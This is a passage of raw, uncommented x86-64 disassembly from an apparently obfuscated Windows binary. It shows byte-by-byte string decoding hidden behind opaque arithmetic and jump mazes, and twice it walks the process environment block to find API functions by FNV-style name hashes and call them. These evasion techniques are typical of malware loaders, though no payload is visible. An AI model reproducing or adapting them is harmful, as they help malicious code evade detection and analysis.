and al, r11b
add al, al
sub cl, al
add cl, 0xd
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x250], al
add rax, r9
sub rbx, rax
inc r8
movabs rdx, 0xc0f808578ea55014
add rdx, rbx
mov ecx, 0x3a
movzx eax, dl
and al, r11b
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0x250], cl
add rbx, rax
movzx eax, byte [rbp + rbx + 0x250]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d1a52
movzx eax, r11b
movabs rcx, 0xe5a11efe4f244a3f
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x47
jmp 0x1400d26ba
movabs rcx, 0xc209b6635cd250c3
movzx eax, r11b
add rcx, rbx
and al, cl
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x55
movabs rcx, 0x664679e358e7d4f7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x3f
add cl, r10b
add cl, r11b
mov byte [rbp + rbx + 0x250], cl
add r8, r9
jmp 0x1400d26ba
movabs rcx, 0xca6997af1575a89
movzx eax, r11b
add rcx, rbx
and al, cl
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x41
movabs rcx, 0xd47ac595dfbed839
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x71
add cl, r11b
mov byte [rbp + rbx + 0x250], cl
inc r9
dec rbx
inc rbx
jmp 0x1400d1a52
movzx eax, r11b
movabs rcx, 0xc577c8450cb36791
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 9
dec rbx
inc rbx
jmp 0x1400d1a52
movabs rcx, 0x1014ab5ca1387157
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x61
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400d1a52
movabs rcx, 0x5ab18e7435bd7b1d
movzx eax, dl
add rcx, rbx
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
add r10b, 0x35
movzx eax, byte [rbp + rbx + 0x250]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d1a52
movabs rcx, 0x5f6a561ff925a75b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7d
jmp 0x1400d1a50
movabs rcx, 0xcd9ea1d27ffcaa9d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4b
jmp 0x1400d1a40
lea rdi, [rbp + 0x144ea24]
jmp 0x1400d2768
lea rdi, [rbp + 0xd96883]
jmp 0x1400d2768
lea rdi, [rbp + 0x250]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x1400d27f5
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1400d27f5
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
mov edx, 0xba93bd00
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400d27f0
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x1400d27d0
cmp edx, 0x1ecee192
je 0x1400d27fa
test r9d, r9d
jne 0x1400d27b0
mov rax, qword [rax]
jmp 0x1400d2780
mov edx, dword [r11 + 0x24]
mov rcx, rdi
mov r8d, dword [r11 + 0x1c]
add rdx, r10
add r8, r10
movzx edx, word [rdx + r9*2]
mov eax, dword [r8 + rdx*4]
add rax, r10
call rax
movzx r10d, byte [rsp + 0x30]
xor eax, eax
mov dword [rbp + 0x27d], eax
movabs rdi, 0xdf208e1657b2cbf3
mov word [rbp + 0x281], ax
movabs rsi, 0xf5a6b8ac447ae46d
mov dword [rbp + 0x270], 0x582e5d75
movabs r15, 0x8487a53e042d15e7
mov dword [rbp + 0x274], 0x6d69562a
movabs r14, 0xec976e303c20b89f
mov dword [rbp + 0x278], 0x4f4c4590
movabs r12, 0xe38823b433c68cd1
mov byte [rbp + 0x27c], 0xa2
movabs r13, 0xeff52636b53c33ca
nop
mov r8, qword [0x1402ff1a0]
mov r9, qword [0x1402ff198]
nop
xor ebx, ebx
cmp rbx, 0x13
jae 0x1400d364d
movzx r11d, byte [rbp + rbx + 0x270]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400d3644
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d28ec
lea rcx, [rbx + r15]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 0x51
jmp 0x1400d2920
je 0x1400d35bd
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d3522
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d34bc
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400d3464
nop dword [rax]
cmp r9, rbx
ja 0x1400d363b
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x1400d2951
lea rdx, [rbx + rdi]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub r10b, al
add r10b, 0x5b
add r10b, dl
jmp 0x1400d29a0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d3442
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d3417
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d33f2
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d33cd
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d33a5
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400d336f
nop
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400d2ff9
nop dword [rax]
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400d2fd3
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400d2fa5
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400d2f7a
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400d2f51
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d2f2c
lea rcx, [r9 + 5]
cmp r8, rcx
je 0x1400d2f03
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d2eda
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d2eb6
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d2e7c
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d29b0
lea r9, [rcx + 0x2a]
mov r8, rcx
lea rax, [r9 + 4]
cmp rcx, rax
jb 0x1400d3616
lea rax, [r9 + 3]
cmp rcx, rax
jb 0x1400d35f1
lea rax, [r9 + 2]
cmp rcx, rax
jb 0x1400d2b9b
lea rax, [r9 + 1]
cmp rcx, rax
jb 0x1400d2b7c
lea rax, [r9 + 0x2a]
cmp rcx, rax
jb 0x1400d2b5d
lea rcx, [r9 + 0x5a]
cmp r8, rcx
jb 0x1400d2e19
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400d2db6
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400d2d63
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400d2d33
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400d29b0
lea r9, [rcx + 0x400]
mov r8, rcx
lea rax, [r9 + 0x41]
cmp rcx, rax
ja 0x1400d2cfd
lea rax, [r9 + 0x7a]
cmp rcx, rax
ja 0x1400d2cd4
lea rax, [r9 + 0x61]
cmp rcx, rax
ja 0x1400d2cac
lea rax, [r9 + 0x1000]
cmp rcx, rax
ja 0x1400d2c83
lea rax, [r9 + 0x400]
cmp rcx, rax
ja 0x1400d2c5a
lea rcx, [r9 + 0x3e8]
cmp r8, rcx
ja 0x1400d2c36
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400d2c07
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400d2bde
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400d2bb9
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400d29b0
mov r8, rcx
lea r9, [rcx + 0x40]
jmp 0x1400d29b0
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub r10b, al
add r10b, 5
add r10b, dl
jmp 0x1400d29a0
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub r10b, al
sub r10b, 0x59
add r10b, dl
jmp 0x1400d2920
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
add dl, 0x49
sub r10b, al
add r10b, dl
jmp 0x1400d28b5
movabs rdx, 0xf90470b2bd965f98
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x28
jmp 0x1400d3484
lea rdx, [rbx + r13]
mov ecx, 0x3d
movzx eax, r11b
inc r9
and al, dl
dec rbx
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc rbx
jmp 0x1400d28a2
mov ecx, 0xe
movabs rdx, 0xe6e5dbbaace207fc
add rdx, rbx
movzx eax, r11b
and al, dl
dec rbx
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc rbx
jmp 0x1400d28a2
movabs rcx, 0xddd6913ea487dc2e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x42
jmp 0x1400d34df
mov ecx, 0x30
movabs rdx, 0xd4c746c29c2db060
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d3506
mov ecx, 1
movabs rdx, 0xcbb7fc4693d38492
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d3509
movabs rdx, 0xc2a8b1ca8b7958c4
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x5c
add r10b, dl
jmp 0x1400d3543
mov ecx, 0x23
movabs rdx, 0xb999674e831f2cf6
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d3573
movzx eax, r11b
movabs rcx, 0xb08a1cd27ac50128
add rcx, rbx
and al, cl
add al, al
sub r11b, al
movzx eax, byte [rbp + rbx + 0x270]
add rax, r9
add rbx, rax
lea r10d, [rcx + r11]
sub r10b, 0x18
inc rbx
jmp 0x1400d28a2
movzx eax, r11b
movabs rcx, 0x19e3e29c65e393a5
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x7d
mov byte [rbp + rbx + 0x270], r10b
inc rbx
jmp 0x1400d28a2
movabs rdx, 0x10d498205d8967d7
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
add r10b, 0x1f
add r10b, dl
cmp r9, 0x42
jb 0x1400d2d53
mov edx, 0x1d
movabs rcx, 0xce0bd6b5a9f6ba0a
add rcx, rbx
movzx eax, r11b
and al, cl
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x1400d3487
movabs rdx, 0x7c54da4552f3c09
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x3f
add r10b, dl
cmp r8, 0x1000
jae 0x1400d330d
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x1400d3235
mov ecx, 7
movabs rdx, 0x7372eddd567103fe
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400d2d83
movabs rdx, 0xfeb603284cd5103b
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
add r10b, 0x63
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 1
je 0x1400d333e
lea rax, [r9 + 5]
cmp r8, rax
jbe 0x1400d315c
movabs rdx, 0x94525fc6febe380b
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x4d
jmp 0x1400d2dd6
movzx eax, r11b
mov ecx, 0x11
movabs rdx, 0x3ac354860e30c7b2
add rdx, rbx
and al, dl
sub cl, al
movzx eax, byte [rbp + rbx + 0x270]
add rax, r9
add rbx, rax
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc rbx
jmp 0x1400d28a2
movabs rcx, 0x31b40a0a05d69be4
movzx eax, r11b
add rcx, rbx
and al, cl
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3c
jmp 0x1400d3573
mov ecx, 0x33
movabs rdx, 0x28a4bf8dfd7c7016
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d3543
mov ecx, 4
movabs rdx, 0x1f957511f5224448
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400d3509
movzx eax, r11b
movabs rcx, 0x16862a95ecc8187a
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x56
jmp 0x1400d3506
mov ecx, 0x26
movabs rdx, 0xd76e019e46decac
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d34df
movzx eax, r11b
movabs rcx, 0x467959ddc13c0de
add rcx, rbx
dec rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x12
inc rbx
jmp 0x1400d28a2
movzx eax, r11b
movabs rcx, 0xfb584b21d3b99510
add rcx, rbx
inc r9
and al, cl
dec rbx
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x70
inc rbx
jmp 0x1400d28a2
mov ecx, 0x19
movabs rdx, 0xf24900a5cb5f6942
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400d3484
lea rax, [r9 + 6]
cmp r8, rax
jae 0x1400d301e
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub r10b, al
sub r10b, 0x51
jmp 0x1400d2e39
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d305d
movzx eax, r11b
movabs rcx, 0xbe411c2caf6597e6
add rcx, rbx
and al, cl
add al, al
sub r11b, al
movzx eax, byte [rbp + rbx + 0x270]
add rax, r9
add rbx, rax
lea r10d, [rcx + r11]
sub r10b, 0x4a
inc rbx
jmp 0x1400d28a2
inc rax
cmp r8, rax
jne 0x1400d308e
mov ecx, 0x17
movabs rdx, 0xe27e461cd0ce471e
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400d3506
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400d30bb
movabs rcx, 0xeb8d9098d92872ec
movzx eax, r11b
add rcx, rbx
and al, cl
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x74
jmp 0x1400d34df
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d30ef
movzx eax, r11b
movabs rcx, 0xf49cdb14e1829eba
add rcx, rbx
dec rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x16
inc rbx
jmp 0x1400d28a2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d312a
mov ecx, 0x24
movabs rdx, 0xfdac2590e9dcca88
add rdx, rbx
movzx eax, r11b
and al, dl
inc r9
sub cl, al
dec rbx
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc rbx
jmp 0x1400d28a2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d2e3c
movabs rdx, 0x6bb700cf236f656
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x5a
jmp 0x1400d3484
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d3189
movabs rcx, 0x9d61aa43071863d9
movzx eax, r11b
add rcx, rbx
and al, cl
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x11
jmp 0x1400d3487
inc rax
cmp r8, rax
jne 0x1400d31bf
movzx eax, r11b
movabs rcx, 0xa670f4bf0f728fa7
add rcx, rbx
inc r9
and al, cl
dec rbx
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x6f
inc rbx
jmp 0x1400d28a2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d31f3
movzx eax, r11b
movabs rcx, 0xaf803f3b17ccbb75
add rcx, rbx
dec rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x33
inc rbx
jmp 0x1400d28a2
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400d2dd9
movzx eax, r11b
movabs rcx, 0xe5dbfe2349e9c249
add rcx, rbx
and al, cl
add al, al
sub r11b, al
movzx eax, byte [rbp + rbx + 0x270]
add rax, r9
add rbx, rax
lea r10d, [rcx + r11]
inc r10b
inc rbx
jmp 0x1400d28a2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d3278
movzx eax, r11b
mov ecx, 0x36
movabs rdx, 0x7c8238595ecb2fcc
add rdx, rbx
and al, dl
sub cl, al
movzx eax, byte [rbp + rbx + 0x270]
add rax, r9
add rbx, rax
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc rbx
jmp 0x1400d28a2
inc rax
cmp r8, rax
jne 0x1400d32a9
mov ecx, 0x14
movabs rdx, 0x8ea0cd516f7f8768
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d3543
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d32d7
movzx eax, r11b
movabs rcx, 0xa0bf62498033df04
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x1c
jmp 0x1400d3506
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d2d86
mov ecx, 0x2e
movabs rdx, 0xc4fc8c39a19c8e3c
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d3487
mov ecx, 0xc
movabs rdx, 0xd71b2131b250e5d8
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rbx + 0x270]
add r10b, dl
add r10b, r11b
jmp 0x1400d34df
mov ecx, 0x3b
movabs rdx, 0xe02a6badbaab11a6
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0x270]
add r10b, dl
add r10b, r11b
jmp 0x1400d3543
movzx eax, r11b
movabs rcx, 0x30aa2c72a2de5631
add rcx, rbx
and al, cl
add al, al
sub r11b, al
movzx eax, byte [rbp + rbx + 0x270]
add rax, r9
add rbx, rax
lea r10d, [rcx + r11]
sub r10b, 0x57
inc rbx
jmp 0x1400d28a2
movabs rdx, 0x1e8b977a9229fe95
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x13
add r10b, dl
jmp 0x1400d3543
movzx eax, r11b
movabs rcx, 0x157c4cfe89cfd2c7
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x71
jmp 0x1400d3509
movzx eax, r11b
movabs rcx, 0xc6d02828175a6f9
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x31
jmp 0x1400d3506
movzx eax, r11b
movabs rcx, 0xfa4e6d8a70c14f5d
add rcx, rbx
dec rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x75
inc rbx
jmp 0x1400d28a2
movabs rdx, 0xe82fd892600cf7c1
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x47
jmp 0x1400d3484
movabs rdx, 0xd611439a4f58a025
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
sub r10b, 3
add r10b, dl
movzx eax, r11b
movabs rcx, 0x52937bf3ae23cff1
add rcx, rbx
and al, cl
add al, al
sub r11b, al
add r11b, 0x69
add r11b, cl
mov byte [rbp + rbx + 0x270], r11b
inc r9
dec rbx
inc rbx
jmp 0x1400d28a2
movabs rdx, 0xbae36426364a1cbb
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x1d
add r10b, dl
movabs rcx, 0x5ba2c66fb67dfbbf
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x39
add cl, r11b
add cl, r10b
mov byte [rbp + rbx + 0x270], cl
add r8, r9
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400d28a2
movabs rcx, 0x9fb584b21d3b9951
mov r11, rdx
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x37
inc r9
movabs rcx, 0x64b210ebbed8278d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x25
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x270], al
add rax, r9
sub rbx, rax
inc r8
movabs rcx, 0xe939b629c3053d74
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
sub cl, 0x2c
add cl, r11b
mov byte [rbp + rbx + 0x270], cl
add rbx, rax
movzx eax, byte [rbp + rbx + 0x270]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d28a2
movabs rcx, 0x8d96efba0c8741b5
movzx eax, dl
add rcx, rbx
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
add r10b, 0xd
movzx eax, byte [rbp + rbx + 0x270]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d28a2
movzx eax, r11b
movabs rcx, 0xda78d9382b6c6103
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x15
jmp 0x1400d28a0
movzx eax, r11b
movabs rcx, 0xd1698ebc23123535
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x73
jmp 0x1400d2890
lea rdi, [rbp + 0x14ab9a4]
jmp 0x1400d3654
lea rdi, [rbp + 0xb7cf8b]
jmp 0x1400d3654
lea rdi, [rbp + 0x270]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x1400d36e5
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1400d36e5
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x33bcd247
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400d36e0
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x1400d36c0
cmp edx, 0x84fe59
je 0x1400d36ea
test r9d, r9d
jne 0x1400d36a0
mov rax, qword [rax]
jmp 0x1400d3670
mov edx, dword [r11 + 0x24]
mov rcx, rdi
mov r8d, dword [r11 + 0x1c]
add rdx, r10
add r8, r10
movzx edx, word [rdx + r9*2]
mov eax, dword [r8 + rdx*4]
add rax, r10
call rax
movzx r10d, byte [rsp + 0x30]
xor eax, eax
mov qword [rbp + 0x29a], rax
movabs rdi, 0xb55b053687d0b907
mov dword [rbp + 0x2a2], eax
movabs rsi, 0xe129b4ca76c711d9
mov word [rbp + 0x2a6], ax
movabs r15, 0x828a6df667fdbfab
mov dword [rbp + 0x290], 0xb7bc8db0
movabs r14, 0xdc14d8dda6cb9283
mov dword [rbp + 0x294], 0xaba06bb6
movabs r12, 0xd6fffcf0d6d0132d
mov word [rbp + 0x298], 0x19aa
movabs r13, 0xa5c34dc76e8a48e2
nop
mov r8, qword [0x1402ff1a0]
mov r9, qword [0x1402ff198]
nop
xor ebx, ebx
cmp rbx, 0x18
jae 0x1400d44ca
movzx r11d, byte [rbp + rbx + 0x290]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400d44c1
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d37dc
lea rcx, [rbx + r15]
mov rax, rdx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdx
add r10, rcx
add r10b, 0x53
jmp 0x1400d3800
je 0x1400d443a
inc rax
cmp r8, rax
je 0x1400d43ff
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d43b0
nop dword [rax + rax]
cmp r9, rbx
ja 0x1400d44b8
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1400d382a
lea rcx, [rbx + rdi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x31
jmp 0x1400d3880
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d435c
inc rax
cmp r8, rax
je 0x1400d432f
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d430b
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d42e7
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d4247
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400d4212
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400d3ec1
nop dword [rax]
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400d3e9d
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400d3e6b
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400d3e41
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400d3e1c
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400d3df3
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d3dcf
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d3da7
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400d3d7e
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400d3d49
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400d3890
lea r8, [r9 + 4]
lea r9, [r8 + 0x10]
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400d4493
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400d446e
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400d3a80
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400d3a65
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400d3a4a
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400d3ceb
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400d3c8e
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400d3c3c
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400d3c0d
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400d3890
lea r8, [r9 + 0x1000]
lea r9, [r8 + 0x10]
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400d3bd3
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400d3baf
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400d3b8b
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400d3b62
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400d3b3d
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400d3b18
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400d3ae9
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400d3ac4
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400d3a9b
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400d3890
lea r8, [r9 + 0x1000]
lea r9, [r8 + 0x10]
jmp 0x1400d3890
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x11
jmp 0x1400d3880
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x6b
jmp 0x1400d3800
lea rcx, [rbx + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3b
jmp 0x1400d37a5
mov ecx, 0x3c
movabs rdx, 0xaad829b43e85c838
add rdx, rbx
